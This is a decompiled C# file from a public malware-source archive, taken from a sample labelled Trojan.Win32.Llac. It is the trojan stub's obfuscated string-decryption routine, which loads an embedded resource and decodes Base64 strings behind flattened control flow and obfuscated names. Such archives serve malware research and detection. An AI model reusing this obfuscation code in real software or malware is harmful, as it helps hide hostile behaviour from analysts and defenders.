mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
f2ac1ece55
add
209 lines
5.0 KiB
C#
209 lines
5.0 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: Stub, Version=10.1.0.54, Culture=neutral, PublicKeyToken=null
|
||
// MVID: B6CAF90E-24AA-429E-AF0C-6337F759D114
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.ahnf-1467840597eb1f4ba0b638f6a268d113b70fcfcdf65f9ac2457fdfea55b1e336.exe
|
||
|
||
using \u0001;
|
||
using \u0003;
|
||
using System;
|
||
using System.Collections;
|
||
using System.IO;
|
||
using System.Reflection;
|
||
using System.Runtime.InteropServices;
|
||
using System.Text;
|
||
|
||
namespace \u0001
|
||
{
|
||
internal class \u0003
|
||
{
|
||
[NonSerialized]
|
||
internal static \u0001.\u0001 \u0001;
|
||
private static string \u0001;
|
||
private static string \u0002;
|
||
private static byte[] \u0001;
|
||
private static Hashtable \u0001;
|
||
private static bool \u0001;
|
||
private static int \u0001;
|
||
|
||
public static string \u0002([In] int obj0)
|
||
{
|
||
int index1;
|
||
int num1;
|
||
string str1;
|
||
do
|
||
{
|
||
obj0 -= \u0001.\u0003.\u0001;
|
||
label_1:
|
||
if (\u0001.\u0003.\u0001)
|
||
{
|
||
str1 = (string) \u0001.\u0003.\u0001[(object) obj0];
|
||
switch (str1)
|
||
{
|
||
case null:
|
||
break;
|
||
default:
|
||
goto label_23;
|
||
}
|
||
}
|
||
if (true)
|
||
{
|
||
int num2 = obj0;
|
||
byte[] numArray = \u0001.\u0003.\u0001;
|
||
int index2 = num2;
|
||
index1 = index2 + 1;
|
||
num1 = (int) numArray[index2];
|
||
if ((num1 & 128) != 0)
|
||
{
|
||
if ((num1 & 64) != 0)
|
||
{
|
||
if (false)
|
||
goto label_1;
|
||
else
|
||
goto label_13;
|
||
}
|
||
else
|
||
goto label_9;
|
||
}
|
||
}
|
||
else
|
||
goto label_13;
|
||
}
|
||
while (false);
|
||
int count = num1;
|
||
if (count == 0)
|
||
return string.Empty;
|
||
goto label_18;
|
||
label_9:
|
||
int num3 = num1 & 63;
|
||
int num4;
|
||
int num5 = num4 = 8;
|
||
int num6 = num3;
|
||
label_10:
|
||
if (num4 != 0)
|
||
{
|
||
count = (num6 << num5) + (int) \u0001.\u0003.\u0001[index1++];
|
||
goto label_18;
|
||
}
|
||
else
|
||
goto label_16;
|
||
label_13:
|
||
num6 = (num1 & 31) << 24;
|
||
num5 = (int) \u0001.\u0003.\u0001[index1++];
|
||
num4 = 0;
|
||
int num7;
|
||
int num8;
|
||
if (num4 == 0)
|
||
{
|
||
if (num4 == 0)
|
||
{
|
||
num5 <<= 16;
|
||
}
|
||
else
|
||
{
|
||
num8 = num5;
|
||
num7 = num6;
|
||
goto label_17;
|
||
}
|
||
}
|
||
else
|
||
goto label_10;
|
||
label_16:
|
||
num7 = num6 + num5;
|
||
num8 = (int) \u0001.\u0003.\u0001[index1++];
|
||
label_17:
|
||
int num9 = num8 << 8;
|
||
count = num7 + num9 + (int) \u0001.\u0003.\u0001[index1++];
|
||
label_18:
|
||
try
|
||
{
|
||
byte[] bytes = Convert.FromBase64String(Encoding.UTF8.GetString(\u0001.\u0003.\u0001, index1, count));
|
||
string str2 = string.Intern(Encoding.UTF8.GetString(bytes, 0, bytes.Length));
|
||
if (\u0001.\u0003.\u0001)
|
||
{
|
||
try
|
||
{
|
||
\u0001.\u0003.\u0001.Add((object) obj0, (object) str2);
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
return str2;
|
||
}
|
||
catch
|
||
{
|
||
return (string) null;
|
||
}
|
||
label_23:
|
||
return str1;
|
||
}
|
||
|
||
static \u0003()
|
||
{
|
||
\u0002.\u0002(typeof (\u0001.\u0003));
|
||
label_1:
|
||
\u0001.\u0003.\u0001 = "1";
|
||
label_2:
|
||
if (true)
|
||
{
|
||
\u0001.\u0003.\u0002 = "133";
|
||
\u0001.\u0003.\u0001 = (byte[]) null;
|
||
do
|
||
{
|
||
if (true)
|
||
{
|
||
\u0001.\u0003.\u0001 = (Hashtable) null;
|
||
\u0001.\u0003.\u0001 = false;
|
||
\u0001.\u0003.\u0001 = 0;
|
||
if (!(\u0001.\u0003.\u0001 == "1"))
|
||
goto label_8;
|
||
}
|
||
else
|
||
goto label_2;
|
||
}
|
||
while (false);
|
||
\u0001.\u0003.\u0001 = true;
|
||
\u0001.\u0003.\u0001 = new Hashtable();
|
||
label_8:
|
||
\u0001.\u0003.\u0001 = Convert.ToInt32(\u0001.\u0003.\u0002);
|
||
Assembly executingAssembly = Assembly.GetExecutingAssembly();
|
||
Assembly assembly;
|
||
if (true)
|
||
assembly = executingAssembly;
|
||
Stream manifestResourceStream = assembly.GetManifestResourceStream("{b6caf90e-24aa-429e-af0c-6337f759d114}");
|
||
try
|
||
{
|
||
int int32 = Convert.ToInt32(manifestResourceStream.Length);
|
||
int length = int32;
|
||
byte[] buffer;
|
||
while (true)
|
||
{
|
||
if (true)
|
||
{
|
||
buffer = new byte[(int) checked ((uint) length)];
|
||
length = manifestResourceStream.Read(buffer, 0, int32);
|
||
break;
|
||
}
|
||
}
|
||
\u0001.\u0003.\u0001 = \u0002.\u0002(buffer);
|
||
manifestResourceStream.Close();
|
||
}
|
||
finally
|
||
{
|
||
while (manifestResourceStream != null)
|
||
{
|
||
if (true)
|
||
{
|
||
manifestResourceStream.Dispose();
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
else
|
||
goto label_1;
|
||
}
|
||
}
|
||
}
|